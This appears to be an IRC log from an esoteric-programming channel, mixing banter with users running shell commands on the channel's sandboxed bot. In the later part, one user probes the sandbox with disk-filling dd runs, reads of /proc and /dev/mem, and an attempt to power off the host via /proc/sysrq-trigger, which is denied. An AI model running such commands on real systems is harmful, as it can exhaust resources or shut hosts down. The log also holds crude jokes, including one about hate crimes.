00:58:33 the funny part is that they are (correctly) calling the ethereum community a pack of script kiddies who know fuck all about actual coding, whilst showing that they themselves know fuck all about actual coding 00:58:35 I use a window manager without a desktop environment. 00:59:03 -!- Melvar` has joined. 00:59:34 Generally, im trying to get a IDE running 00:59:35 -!- Melvar has quit (Disconnected by services). 00:59:39 -!- Melvar` has changed nick to Melvar. 00:59:47 is there one that works good with LXDE? 00:59:53 IDE for what? 01:00:00 C/C++ 01:00:31 I don't know; I don't use LXDE or any other desktop environment, nor do I use any IDE. 01:00:50 -!- idris-bot has quit (Ping timeout: 258 seconds). 01:01:58 -!- idris-bot has joined. 01:04:03 i just... oh my god why would you invent money governed by autonomous code running with no oversight and then say "i know what language we'll use for this! JS!" 01:04:41 I don't know? It doesn't make much sense to me 01:10:32 `? klein bottle 01:11:26 A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside. 01:11:38 oerjan++ # excellent unintentional pun 01:12:41 which pun? 01:13:54 The last word of the first sentence. 01:14:20 oh right he claimed that it was unintentional 01:14:29 I found that hard to believe 01:39:38 -!- spockers_ has changed nick to spockers. 01:50:12 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 02:09:46 -!- hppavilion[1] has joined. 02:09:54 It's always annoying when 9/11 is referred to as "the most defining event of the century" 02:10:06 I mean, what was the most defining event of the 20th century? 02:12:37 21st century, no? 02:22:15 -!- lamer14662988574 has joined. 02:23:51 -!- moonythedwarf has quit (Ping timeout: 240 seconds). 02:24:30 -!- lamer14662988574 has quit (Client Quit). 02:25:12 -!- Lord_of_Life has joined. 02:25:50 -!- moonythedwarf has joined. 02:36:10 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!). 02:51:12 -!- Lord_of_Life has joined. 02:58:45 -!- Lord_of_Life has quit (Ping timeout: 260 seconds). 03:08:37 -!- FredStockton has joined. 03:20:49 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 03:27:27 -!- FredStockton has left. 03:28:04 -!- lambda-11235 has joined. 03:32:14 -!- augur has joined. 03:42:12 -!- Lord_of_Life has joined. 03:43:58 -!- augur has quit (Read error: Connection reset by peer). 03:50:01 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!). 03:54:05 -!- Sgeo has joined. 03:54:14 -!- augur has joined. 03:57:48 -!- augur has quit (Remote host closed the connection). 04:01:49 What *was* the most defining event of the 20th century? 04:01:51 Hiroshima? 04:05:15 -!- augur has joined. 04:09:01 -!- lamer14663052626 has joined. 04:09:12 -!- Lord_of_Life has joined. 04:10:06 -!- lamer14663052626 has changed nick to moon_. 04:10:24 I now offically LOVE linux 04:11:25 OK. What kind of distribution and software and so on are you using? 04:11:53 -!- moonythedwarf has quit (Ping timeout: 250 seconds). 04:12:56 -!- xkapastel has joined. 04:15:11 -!- augur has quit (Remote host closed the connection). 04:15:22 Debian LXDE/Terminal Editor: Nano/Kdevelop etc etc 04:15:45 Also, i have yet to get it on a actual pc ): im stuck with guest additions 04:16:13 -!- Lord_of_Life has quit (Ping timeout: 250 seconds). 04:20:21 well now my internet is being annoying and i running at 20 kb/s )= 04:27:28 -!- augur has joined. 04:28:42 -!- Lord_of_Life has joined. 04:30:44 -!- variable has joined. 04:34:21 -!- Lord_of_Life has quit (Ping timeout: 258 seconds). 04:38:21 -!- augur has quit (Remote host closed the connection). 04:40:04 Seamless mode helps alot 04:41:35 -!- augur has joined. 04:59:12 -!- Lord_of_Life has joined. 05:05:20 -!- Lord_of_Life has quit (Ping timeout: 260 seconds). 05:12:54 -!- variable has quit (Quit: 1 found in /dev/zero). 05:15:43 -!- Destructible has joined. 05:17:05 hi 05:17:40 ello? 05:18:11 anybody? 05:18:12 hi 05:18:16 yay 05:18:21 hi izabera 05:18:32 yo 05:18:51 hi izabera 05:18:57 hi moon_ 05:18:58 hello 05:19:55 so, I had an idea for an esolang again 05:20:05 what is it 05:20:15 in a nutshell 05:20:25 functions that call functions that call functions 05:20:37 functions only? 05:20:41 And then what? 05:20:54 Functions only has been done 05:21:09 yes 05:21:11 I know 05:21:29 the idea is that the main code can only be so long 05:21:36 like, 10 characters or something 05:21:51 and so functions have to be used, to contain the code 05:22:03 but functions also have a ten character limit 05:22:15 I think that is also done, kind of 05:22:26 maybe 05:23:26 sounds like minimalized functonalized C 05:28:48 -!- Destructible has quit (Ping timeout: 250 seconds). 05:29:06 -!- hppavilion[1] has joined. 05:29:42 myname: My point was (a) it's 2016, we don't know what the defining event of the century is and (b) even if it was 2100, we probably couldn't name the most defining event of the modern era 05:29:51 -!- clog has quit (Ping timeout: 240 seconds). 05:30:42 -!- Lord_of_Life has joined. 05:31:54 "Radical centrism" 05:35:33 -!- APic has quit (Ping timeout: 246 seconds). 05:35:57 -!- Lord_of_Life has quit (Ping timeout: 250 seconds). 05:38:43 -!- APic has joined. 05:41:25 -!- Destructible has joined. 05:42:22 The head of Human Resources at a company should have the title ASE (All-Seeing Eye) 05:43:43 "However, there are no fnords in the advertisements" 05:43:48 -- Actual Wikipedia Quote 05:48:29 really 05:54:18 Destructible: Yes 05:54:31 Destructible: Granted, it's the page for the The Illuminatus! Trilogy 05:54:39 Destructible: Which is what brought 'fnord' into popular usage 05:54:46 ok 05:56:12 didn't it also invent fnord 05:56:33 coppro: No, Principia Discordia invented fnord 05:57:12 -!- Lord_of_Life has joined. 06:07:14 -!- clog has joined. 06:08:03 -!- augur has quit (Read error: Connection reset by peer). 06:08:36 -!- augur has joined. 06:10:14 -!- augur has quit (Read error: Connection reset by peer). 06:10:24 p 06:14:21 -!- augur has joined. 06:26:48 hi 06:29:22 -!- moon_ has quit (Ping timeout: 252 seconds). 06:30:02 -!- moon_ has joined. 06:33:17 -!- Destructible has quit (Quit: Page closed). 06:36:14 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 06:50:20 -!- moon_ has quit (Ping timeout: 260 seconds). 07:03:34 -!- augur has quit (Remote host closed the connection). 07:25:14 -!- augur has joined. 07:30:12 -!- variable has joined. 07:33:37 http://www.binsim.com/ really interesting 07:37:07 -!- lambda-11235 has quit (Quit: Bye). 07:52:34 -!- LexiciScriptor has joined. 08:00:41 -!- augur has quit (Ping timeout: 250 seconds). 08:08:04 -!- augur has joined. 08:08:55 -!- Kaynato has quit (Ping timeout: 244 seconds). 08:12:24 -!- hppavilion[1] has joined. 08:16:06 *sees square in picture* illuminati debunked 08:16:08 -!- variable has quit (Quit: 1 found in /dev/zero). 08:42:48 -!- augur has quit (Remote host closed the connection). 08:54:51 -!- gamemanj has joined. 08:55:56 -!- AnotherTest has joined. 09:09:24 It's weird how YouTube says a particular channel was active n hours ago, but won't tell you what that activity was- if it wasn't a new video, it isn't listed at all 09:32:25 Hm, perhaps I should roll different first-person personal pronouns into my pronountroll not for usage by myself but by /those addressing me/ 09:50:00 The internet is an amazing place 09:51:15 It's always fun to discover something you'd never think was possible that is now profitable 09:52:51 Like, I would tell you this was an April Fool's joke if I hadn't stumbled across it myself 09:59:03 -!- LexiciScriptor has quit (Quit: LexiciScriptor). 10:15:34 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 10:30:22 -!- Destructible has joined. 10:30:24 hi 10:35:29 -!- LexiciScriptor has joined. 10:40:11 hi 10:40:37 -!- Destructible has quit (Quit: Page closed). 10:41:35 -!- LexiciScriptor has quit (Quit: LexiciScriptor). 10:43:43 -!- augur has joined. 10:48:03 -!- augur has quit (Ping timeout: 244 seconds). 11:05:40 -!- Phantom_Hoover has joined. 11:06:41 https://t.co/V1SRLKfCo7 c++ 11:09:13 -!- MoALTz has joined. 11:11:08 unicode is crazy... though in this particular instance one might question the wisdom of allowing whitespace in identifiers. 11:12:10 It's simple. 11:12:17 Compiler developers like to remain sane 11:12:23 `unidecode аa 11:12:41 If compiler devs had to keep track of Unicode and decide which characters are "suitable", they'd go nuts. 11:12:47 ​[U+0430 CYRILLIC SMALL LETTER A] [U+0061 LATIN SMALL LETTER A] 11:13:11 So they just handle it in UTF-8 and mark 0x80 to 0xFF as ID characters. 11:13:50 So if you want to use emoji as variable names... 11:13:53 you can 11:14:06 The compiler devs just don't care since otherwise they'd go nuts. 11:14:46 My main point was that disallowing whitespace would not really solve that problem, since there are distinct unicode codepoints that map to the same glyph anyway 11:16:42 gamemanj: you usually can just use a unicode library and say "anything that is a letter can be a variable name" 11:17:01 i am pretty sure zws do not fit in that category 11:17:05 -!- jaboja has joined. 11:17:27 myname: let me just go look at the size of some files for a sec... 11:18:31 File: 'libicudata.so.57.1' 11:18:31 Size: 25674392 11:18:41 int-e: you are right with your example. however, you could in theory make an editor render them differently wheres doing so on a zws is not always an option 11:18:43 now go look at a windows installation of, say, Wireshark 11:18:53 and you should see the problem with embedding one of these with every program 11:19:09 who said anything about embedding? 11:19:18 On Linux it's a system lib but on Windows you don't get that 11:19:22 also, who cares about that size 11:19:45 24MB is pretty big when there's a much simpler solution 11:19:51 which covers every sane usecase 11:19:58 and is the solution that other C compilers use too 11:20:06 it is oretty big, but it is not a problem at all with current drive sizes 11:20:18 Not a problem, but why bother 11:20:50 doing things the right way often is the right way 11:21:53 When the right way involves shipping a 25MB library just to distingulish between characters, for a parser for a language which doesn't really need to know that information anyway, 11:22:02 I doubt anyone really cares 11:22:31 Obviously you don't need all of those 25MB for the compiler. 11:22:42 But all this is besides the point. 11:23:40 The C language designers (mostly compiler writers) have made a decision, and it's up to the programmers to deal with them... by making sane coding style choices. 11:24:01 "don't use zero-width spaces in your identifiers" seems like a no-brainer. 11:25:02 (for most purposes I would stick to ASCII outside of comments anyway) 11:25:18 and possibly literal strings... depends. 11:25:57 -!- hppavilion[1] has joined. 11:38:09 Am I the only one around here who wants to put all color TV to shame by making movies that are in MORE than full color? 11:38:16 By including IR and UV 11:38:43 ...give me juuust a second to find a scene that would be really good if it was replicated via this technology 11:39:09 gamemanj: Any movie that includes a nuclear detonation would also include GR 11:39:26 well, I have something just a tad WORSE 11:40:24 -!- hppavilion[1] has set topic: The intradisciplinary hub of solidity matrices, esoteric programming language design, multichannel bot abuse (always safe, sane and consensual), and font forging | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf. 11:40:27 almost done... 11:40:44 gamemanj: What is it? 11:40:52 uploading... 11:41:34 gamemanj: uploading? 11:41:48 ...waiting for things to actually synchronize... 11:42:09 (Things are running rather slowly today) 11:42:16 https://dl.dropboxusercontent.com/u/21184720/vlcsnap-2016-06-19-11h40m17s769.png 11:42:25 this 11:42:56 I'm sure they'll love it to death 11:43:24 gamemanj: My god that would be amazing 11:43:39 And it's actually possible because that scene appears to be 100% CGI 11:44:01 (Though it wouldn't work for the whole film, as not all of it is CGI apparently) 11:44:06 film? 11:44:39 gamemanj: That's from the new Star Wars, isn't it? 11:44:44 Actually it's the second episode of the first-2005-reboot series of Doctor Who. 11:44:49 * hppavilion[1] prepares to seppuku if he's wrong 11:44:53 Oh? 11:44:56 Let me look again 11:45:08 Oh yeah, it is 11:45:18 The one in the year 10^9 11:45:27 One gigayear in the future 11:45:32 And other sciency puns 11:45:37 Still, the fact you got it so wrong shows that taxpayer money isn't going to waste 11:45:51 See, I remember seeing a ship looks like the space station in the new Star Wars 11:45:54 Or, at least, wasn't. 11:46:34 It may have been something else, I suppose 11:47:30 Maybe I saw it in a HISHE for one of the prequels? 11:48:36 I could have also seen it in a meme and assumed it was from somewhere else for some reason 11:48:40 I'm a real geek, I swear 11:49:42 Show me your registration card, then! 11:51:45 ... 11:52:27 gamemanj: Shall I FTP it to you? It's signed with GPG, though my GPG is so secure that my public key is a secret 11:52:39 -!- jaboja has quit (Ping timeout: 264 seconds). 11:52:42 lol ftp 11:52:43 your public key is a secret. 11:52:45 ... 11:52:48 and FTP. 11:52:49 gamemanj: Correct 11:52:56 who uses FTP nowadays... 11:53:06 FTP = fuckin' telecommunications protocols... 11:53:19 Not to be confused with the more limited FTP = File Transfer Protocol 11:54:11 all you do is making it worse 11:57:11 It's funny that the south is the largest consumer of porn tagged "ebony" in the US 11:57:38 it's rather unusual that you have access to such data 11:57:44 (well, I suppose that could be the black population rather than the outwardly racist population) 11:57:53 gamemanj: Not really; there are lots of studies 11:58:02 by WHO 11:58:14 gamemanj: Many porn sites have given anonymous statistics to scientists or even published the studies themselves 11:58:39 gamemanj: Pornhub has an entire subdomain dedicated to research and data analysis 11:58:45 porn is degrading, I don't see any contradiction 11:59:04 scientific smutty sites setup studies showing some statistical subtleties 11:59:26 Their labs are, of course, staffed by beautiful women wearing lab coats and glasses because the producers think it makes them look smarter 11:59:47 what next, red hair? 12:00:27 int-e: Is it /really/ though? I mean, if you're homophobic, you don't tend to watch lots of gay porn (well, unless you're homophobic BECAUSE you're gay and you're trying to make up for it because of the gay shaming that religion has brought down on you) 12:01:30 My home state clearly has high rates of ADHD; the top search term here is "compilation" 12:02:12 (Then again, maybe that's just me) 12:02:44 Oh, there's a canada version 12:02:56 I'd name the searches, but I don't canada 12:03:19 They appear to be big on (a) animation-based and (b) racially-cast 12:03:28 at least it's not cumpilation 12:04:39 myname: They probably lumped that in but called it "compilation" because it's less obscene 12:05:14 less obscene equals less good 12:05:19 The Yukon Territory is big on... tickling? Really? 12:05:37 And- to no one's surprise- the top term in Quebec is literally "Quebec" 12:06:14 There are literally 4 different provinces that all search by race, and /all of the races are different/ 12:07:11 According to the world map 12:07:28 The most viewed category by women on /the entire north american continent/ is "Lesbian" 12:07:33 Russian women are fans of anal 12:08:02 No data for Saudi Arabia of course 12:08:10 -!- int-e has left. 12:08:53 Oh, the canada map was weighted based on other provinces 12:10:29 Oooh, this is fun, a map of what states should be embarassed for googling more than everyone else(non-porn) 12:10:39 Alaska is too interested in Nicholas Cage 12:10:50 South Dakota loves Lion Hunting 12:11:05 Rhode island- appropriately- wants to know the average penis size 12:11:19 Marylanders don't know whether they're virgins 12:11:41 Illinois...ans want to know whether WWE is fake (it is) 12:11:58 Michigan... does way too many image searches for "outhouse" 12:12:26 (wait, that's wisconsin) 12:13:47 -!- int-e has joined. 12:14:00 My home city is a fan of smoking... weird, I've never searched for that 12:15:34 Far too many people search for "Thanksgiving", by which I mean any at all 12:16:45 OK, honestly Pornhub, don't try to do statistics involving age 12:16:57 You know as well as we do it won't be accurate 12:25:55 -!- xkapastel has quit (Quit: Connection closed for inactivity). 12:26:35 -!- oerjan has joined. 12:33:39 -!- iaglium has quit (Ping timeout: 276 seconds). 12:37:08 oerjanello 12:41:34 oerjan: The current channel discussion is: Search statistics 12:42:31 i shall search for it. linearly. 12:42:40 "Because your forebears oppressed our forebears, we are justified in hating you" 12:42:46 internoon-e 12:43:09 i'm in luck, i'm not descended from bears 12:43:27 oerjan: Really? Most people have about 4 in their family tree 12:43:35 shocking 12:43:41 Hm, what's the most recent common ancestor of bears and humans? 12:44:42 -!- augur has joined. 12:46:48 hppavilion[1]: probably back in the cretaceous, if i'm reading wikipedia right 12:47:11 oerjan: Have you seen Wikipedia's List of Cetations, btw? 12:47:20 yes. 12:47:25 hppavilion[1]: http://www.growlrapp.com/ 12:47:52 oerjan: That's convenient. Has everyone in the channel read every Wikipedia page? 12:48:19 izabera: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH I've been looking for something like that 12:48:31 is that a scream of joy? 12:48:35 (A convenient lookup of who to target my hatecrimes at) 12:48:39 * hppavilion[1] is a terrible person 12:49:05 -!- augur has quit (Ping timeout: 260 seconds). 12:49:21 https://www.youtube.com/watch?v=YuOBzWF0Aws ("If Google Was a Guy", collegehumor) 12:49:53 (Someone Searches "Boston Bomber", Guygle says "Real Tragedy" and she appends "Cute One") 12:50:46 did you just say guygle 12:51:05 hppavilion[1]: paleontologists and molecular geneticists disagree on just about everything there btw hth 12:51:19 izabera: Yes 12:51:30 hppavilion[1]: only those pages that were mentioned yesterday hth 12:57:02 I wonder if Science can sue Google to get them to stop offering results claiming vaccines cause autism on the grounds that think of the children 13:03:08 Aww, google refuses to do an aileron roll 13:07:18 Flatland as directed by Michael Bay 13:09:15 so the lines are assasins now? 13:09:21 http://www.flatlandthemovie.com/ exists? 13:10:06 Oh, it's on youtube 13:10:07 I think 13:15:50 Waaaaaaaaait 13:15:57 They have a square whose son is a hexagon 13:16:04 I smell inaccuracy 13:16:25 hppavilion[1]: polygonist! 13:16:37 oerjan: That doesn't work 13:16:47 sideist! 13:17:05 oerjan: That's like arguing it's racist to be confused when a white couple's child is black (and no adoption or such has occurred) 13:17:22 (I just had to check I said "adoption" instead of "abduction") 13:18:42 Hm, it's interesting that there are no parallelograms in Flatland (I suppose it has to do with irregularity, but still) 13:21:01 There are also no ovals... 13:26:02 4 + 1 = 6 13:26:06 that's standard maths 13:26:40 ...unless you consider a line to be infinitely thin but two-sided 13:26:46 then it works 13:27:32 Square (4) + Line (2) == Hexagon (6) 13:29:52 so in other news I think hppavilion[1] should start a class called "Flatland Genetics And You: How To Optimize For Success" 13:30:10 with this newfound information 13:31:22 gamemanj: In modal logic, the sum of two positive numbers can be less than the normal sum. But are there any places it can be more? 13:32:15 As I said, it might not be special maths 13:32:27 Just a different consideration of a line 13:36:59 https://github.com/facebookresearch/darkforestGo they opened darkforest 13:57:59 `` sed -i 's/voluminous/above average, not too voluminous, /' wisdom/taneb <-- WHAT DID YOU DO TO YOUR EYEBROWS 13:58:52 `? taneb 13:59:16 Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of eight genders, and above average, not too voluminous, but calm eyebrows. (See also: tanebventions) 13:59:49 `slwd taneb//s/ but/but/ 13:59:58 wisdom/taneb//Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of eight genders, and above average, not too voluminous, but calm eyebrows. (See also: tanebventions) 14:06:04 `wisdom tanebventions 14:06:09 tanebventions: math//Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, the reals, Lambek's lemma, pointless topology, and histograms. 14:19:01 gamemanj: Oh! I found where I saw the similar image! 14:19:05 https://www.youtube.com/watch?v=Z2JU4gX6rg8 14:19:48 When? 14:19:58 1:42? 14:20:08 my goodness 14:20:11 you can see the polygons 14:20:24 in that "sphere" 14:23:36 I found that hard to believe <-- IT'S TRUE I SWEAR 14:29:35 What's the proper penance for thinking "You know what would've made the original trilogy better?" 14:33:33 https://www.youtube.com/watch?v=qSgJeVwjnpc almost makes the prequels seem good 14:34:36 hppavilion[1]: reading through all of darths & droids hth 14:57:49 Wow, tvtropes is already preparing for the next president by referring to Obama as "then-president Barack Obama" 14:57:53 -!- jaboja has joined. 14:58:29 well, better to start now vs. find yourself outdated later 14:58:46 by the time all the references have been found it'll have happened 14:59:34 -!- Frooxius has quit (Quit: *bubbles away*). 14:59:54 -!- Frooxius has joined. 15:00:50 -!- APic has quit (Read error: No route to host). 15:01:12 -!- LexiciScriptor has joined. 15:02:33 I hate the math clock so much 15:02:44 Because it lists 9 as "3(pi-0.14)" 15:03:40 -!- APic has joined. 15:07:20 -!- Koen_ has joined. 15:09:23 gamemanj: clearly the solution is to use a template 15:22:28 helloerjan 15:24:52 quintellopia 15:26:14 what is your fagorite animal to consume, if any? 15:26:24 favorite 15:27:56 -!- PinealGlandOptic has joined. 15:31:58 -!- boily has joined. 15:32:51 helloily 15:33:09 -!- lambda-11235 has joined. 15:33:37 bohily 15:34:10 -!- LexiciScriptor has quit (Quit: LexiciScriptor). 15:34:38 oerjan wont tell me his favorite animal to consume. what is yours? 15:35:32 quinthellopia! not too hungover from a night of debauchery and wild abandon? 15:35:37 hellørjan! 15:35:45 a little bit yes 15:35:52 I think my all time favourite is pork. 15:36:05 but i have some salty pig and biscuits to comfort me 15:37:16 oerjan: what is your favourite animal to consume? 15:37:27 quintopia: real southern biscuits? 15:38:59 [wiki] [[MailBox]] https://esolangs.org/w/index.php?diff=47234&oldid=34448 * IAM * (+63) 15:41:37 i dunno. probably tinned biscuits. my dad makes the real homecooked ones 15:42:37 so...do you need gabeer? 15:44:37 -!- adu has joined. 15:44:53 I could use some gabeer, yes. 15:46:23 beerswap? if there are any quebeers besides unibroue, that is 15:46:39 *quebieres 15:46:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 15:47:03 The compiler devs just don't care since otherwise they'd go nuts. <-- GHC does call a unicode classification API. which means some identifiers suddenly got illegal last they updated the Unicode version. 15:47:49 and also they're not entirely consistent on the whitespace handling. 15:47:58 (which i reported as a bug once) 15:49:12 -!- LexiciScriptor has joined. 15:49:19 -!- LexiciScriptor has quit (Client Quit). 15:50:48 boily: koalas hth 15:52:16 . o O ( be queer with quebeer ) 15:52:29 quintopia: there are many beers besides Unibroue! 15:52:49 joy 15:52:55 beerswap! 15:53:07 are koalas edible? 15:53:13 almost certainly. 15:53:43 tasty tasty chlamydia 15:53:58 that is certainly misspelled 15:54:10 sgtm hth 15:58:11 `? sgtm 15:58:22 Sergeant Mustard 15:58:30 oh okay 15:58:41 so tdnhful 15:58:43 Seems Good To Me hth 15:58:48 `? nah 15:58:51 no ambiguity here 15:59:32 i lost your address. (in my irclogs somewhere but you're /right there/) 15:59:49 how many beers are in a swap? 16:00:42 eeeeeh... I'd say at least two: a northbound beer and a southbound one. 16:01:39 -!- jaboja has quit (Ping timeout: 264 seconds). 16:01:47 but a single beer is boring. 16:03:26 -!- hppavilion[1] has joined. 16:06:32 [wiki] [[Semantic Brain]] M https://esolangs.org/w/index.php?diff=47235&oldid=45555 * SilverWingedSeraph * (-1) Fix number of cells on the data tape. 16:08:29 yes 16:08:44 so what is the ideal number 16:10:23 a pair of beers sounds right for a start, to gauge postal fees and if it's feasible and stuff like that. 16:12:59 sftm 16:13:22 -!- adu has quit (Quit: adu). 16:14:13 `learn SFTM is the Science Fiction Theory of Mail. 16:14:18 Learned 'sftm': SFTM is the Science Fiction Theory of Mail. 16:14:43 -!- jaboja has joined. 16:18:18 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 16:19:42 * boily casts orb of destruction. FOOM! 16:19:48 * boily cackles evilly :D 16:21:44 :( 16:24:02 was playing crawl, and blasting critters away. 16:24:19 I ain't be destroying nobody here! that'd be mean. 16:47:51 -!- jaboja has quit (Ping timeout: 264 seconds). 16:49:20 i just found a cute blog. 16:49:43 an oldie writing about growing up in england in the 50s 16:50:01 filled with sneering condescion towards the youth of today 16:50:46 *condescencion 16:53:16 [wiki] [[Semantic Brain]] M https://esolangs.org/w/index.php?diff=47236&oldid=47235 * SilverWingedSeraph * (+0) /* Language overview */ 16:57:22 -!- oerjan has quit (Quit: leaving). 17:00:40 -!- hwpplayer1 has joined. 17:03:38 I wouldn't consider that a cute blog, myself... 17:06:45 hmm my #esoteric equivalent of http://garfieldminusgarfield.net/ is working out well. (It's #esoteric without hppavilion[1] ...) 17:09:57 int-ello. what is that? 17:10:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 17:12:14 garfieldminusgarfield is just what the name says... garfield strips with the imaginary talking cat edited out 17:12:18 [wiki] [[Special:Log/newusers]] create * Tounz * New user account 17:13:25 -!- Tounz has joined. 17:13:29 Hello 17:15:51 https://github.com/TortegaFR/StackBasedVirtualMachine. 17:17:11 there's a lollipop in a commit message 17:28:35 -!- moon_ has joined. 17:30:51 helloon_! 17:33:26 `` df 17:33:35 df: cannot read table of mounted file systems: No such file or directory 17:33:40 welp 17:33:44 `` df / 17:33:46 df: Warning: cannot read table of mounted file systems: No such file or directory \ Filesystem 1K-blocks Used Available Use% Mounted on \ - 0 0 0 - / 17:34:04 `` mount; cat /proc/mounts 17:34:07 none on /bin type hostfs (ro,nosuid,relatime,/bin/) \ none on /usr type hostfs (ro,nosuid,relatime,/usr/) \ none on /dev type hostfs (ro,nosuid,relatime,/dev/) \ none on /opt type hostfs (ro,nosuid,relatime,/opt/) \ none on /lib type hostfs (ro,nosuid,relatime,/lib/) \ none on /sbin type hostfs (ro,nosuid,relatime,/sbin/) \ none on /lib64 type host 17:35:22 `` ls /dev/zero 17:35:24 ​/dev/zero 17:35:37 -!- jaboja has joined. 17:35:37 `` dd if=/dev/zero of=zero bs=1G count=1 17:35:42 dd: memory exhausted by input buffer of size 1073741824 bytes (1.0 GiB) 17:35:54 `` du -b zero 17:35:57 0zero 17:36:03 `` dd if=/dev/zero of=zero bs=1M count=1 17:36:08 1+0 records in \ 1+0 records out \ 1048576 bytes (1.0 MB) copied, 0.018102 s, 57.9 MB/s 17:36:15 `` dd if=/dev/zero of=zero bs=1M count=100 17:36:26 ​/hackenv/bin/`: line 4: 296 File size limit exceededdd if=/dev/zero of=zero bs=1M count=100 17:37:07 `` ulimit -f 17:37:08 10240 17:37:20 `` echo $USER 17:37:22 No output. 17:37:27 `` whoami 17:37:29 whoami: cannot find name for user ID 5000 17:37:45 `` ulimit -a 17:37:47 core file size (blocks, -c) 0 \ data seg size (kbytes, -d) unlimited \ scheduling priority (-e) 0 \ file size (blocks, -f) 10240 \ pending signals (-i) 1955 \ max locked memory (kbytes, -l) 0 \ max memory size (kbytes, -m) unlimited \ open files (-n) 102 17:38:18 `` ulimit -a | sed 1,/open/d 17:38:20 pipe size (512 bytes, -p) 8 \ POSIX message queues (bytes, -q) 819200 \ real-time priority (-r) 0 \ stack size (kbytes, -s) 8192 \ cpu time (seconds, -t) unlimited \ max user processes (-u) 128 \ virtual memory (kbytes, -v) unlimited \ file locks (-x) 17:39:29 `` ls /proc 17:39:32 1 \ 10 \ 2 \ 281 \ 285 \ 286 \ 287 \ 288 \ 289 \ 290 \ 291 \ 292 \ 293 \ 294 \ 295 \ 296 \ 3 \ 4 \ 47 \ 49 \ 5 \ 51 \ 6 \ 68 \ 7 \ 76 \ 77 \ 8 \ 9 \ buddyinfo \ bus \ cgroups \ cmdline \ config.gz \ consoles \ cpuinfo \ crypto \ devices \ diskstats \ driver \ execdomains \ exitcode \ filesystems \ fs \ interrupts \ iomem \ ioports \ irq \ kallsyms 17:39:44 `` ls /proc/!([0-9]*) 17:39:46 ​/proc/buddyinfo \ /proc/cgroups \ /proc/cmdline \ /proc/config.gz \ /proc/consoles \ /proc/cpuinfo \ /proc/crypto \ /proc/devices \ /proc/diskstats \ /proc/execdomains \ /proc/exitcode \ /proc/filesystems \ /proc/interrupts \ /proc/iomem \ /proc/ioports \ /proc/kallsyms \ /proc/kcore \ /proc/kmsg \ /proc/kpagecount \ /proc/kpageflags \ /proc/loa 17:40:01 `` ls /proc/!([0-9]*) | sed 1,/kpageflags/d 17:40:03 ​/proc/loadavg \ /proc/locks \ /proc/meminfo \ /proc/misc \ /proc/mounts \ /proc/pagetypeinfo \ /proc/partitions \ /proc/slabinfo \ /proc/softirqs \ /proc/stat \ /proc/sysemu \ /proc/sysrq-trigger \ /proc/timer_list \ /proc/uptime \ /proc/version \ /proc/vmallocinfo \ /proc/vmstat \ /proc/zoneinfo \ \ /proc/bus: \ \ /proc/driver: \ \ /proc/fs: 17:40:14 `` ls -d /proc/!([0-9]*) | sed 1,/kpageflags/d 17:40:16 ​/proc/loadavg \ /proc/locks \ /proc/meminfo \ /proc/misc \ /proc/mounts \ /proc/net \ /proc/pagetypeinfo \ /proc/partitions \ /proc/self \ /proc/slabinfo \ /proc/softirqs \ /proc/stat \ /proc/sys \ /proc/sysemu \ /proc/sysrq-trigger \ /proc/sysvipc \ /proc/timer_list \ /proc/tty \ /proc/uptime \ /proc/version \ /proc/vmallocinfo \ /proc/vmstat \ 17:42:23 `` rm x 17:42:26 rm: cannot remove `x': No such file or directory 17:42:26 `` rm zero 17:42:31 No output. 17:47:53 -!- hwpplayer11 has joined. 17:48:15 -!- hwpplayer1 has quit (Ping timeout: 276 seconds). 17:48:17 -!- hwpplayer11 has quit (Max SendQ exceeded). 17:50:05 -!- hwpplayer1 has joined. 17:51:10 -!- moon_ has changed nick to moonythehuman. 17:51:21 -!- moonythehuman has changed nick to MoonyTheDwarf. 17:55:10 `` hostname 17:55:11 umlbox 17:55:36 `` grep data /proc/iomap 17:55:38 grep: /proc/iomap: No such file or directory 17:55:54 uml doesn't have iomap? 17:56:03 `` ls /dev/mem 17:56:05 ​/dev/mem 17:56:12 `` ls /dev/{,k}mem 17:56:14 ​/dev/kmem \ /dev/mem 17:57:54 `` paste /proc/config.gz 17:58:06 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/paste/paste.11642 17:58:23 that didn't work 17:58:45 `` gunzip < /proc/config.gz > out; paste out 17:58:53 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/out 18:06:22 `` echo o > /proc/sysrq-trigger; echo alive 18:06:24 ​/hackenv/bin/`: line 4: /proc/sysrq-trigger: Permission denied \ alive 18:10:06 `` cat /proc/1/cmdline 18:10:08 ​/init. 18:13:21 i've never used usermode linux and i don't feel like compiling a kernel right now 18:13:35 who provides /proc and /dev ? 18:13:48 the actual kernel or uml? 18:16:53 uml 18:17:31 It is a significant part of the linux kernel after all... 18:18:32 `paste /proc/mounts 18:18:38 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/paste/paste.26852 18:19:27 as you can see there, there's a 'hostfs' fs type for interaction. there's also a character device, hmmm 18:19:31 `paste /proc/devices 18:19:37 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/paste/paste.29080 18:20:01 the ubd thing... oh it's a block device, my bad. 18:23:14 -!- jaboja has quit (Ping timeout: 244 seconds). 18:24:36 izabera: Welcome to the Gamemanj Kernel Compile Service! Provides mostly normal 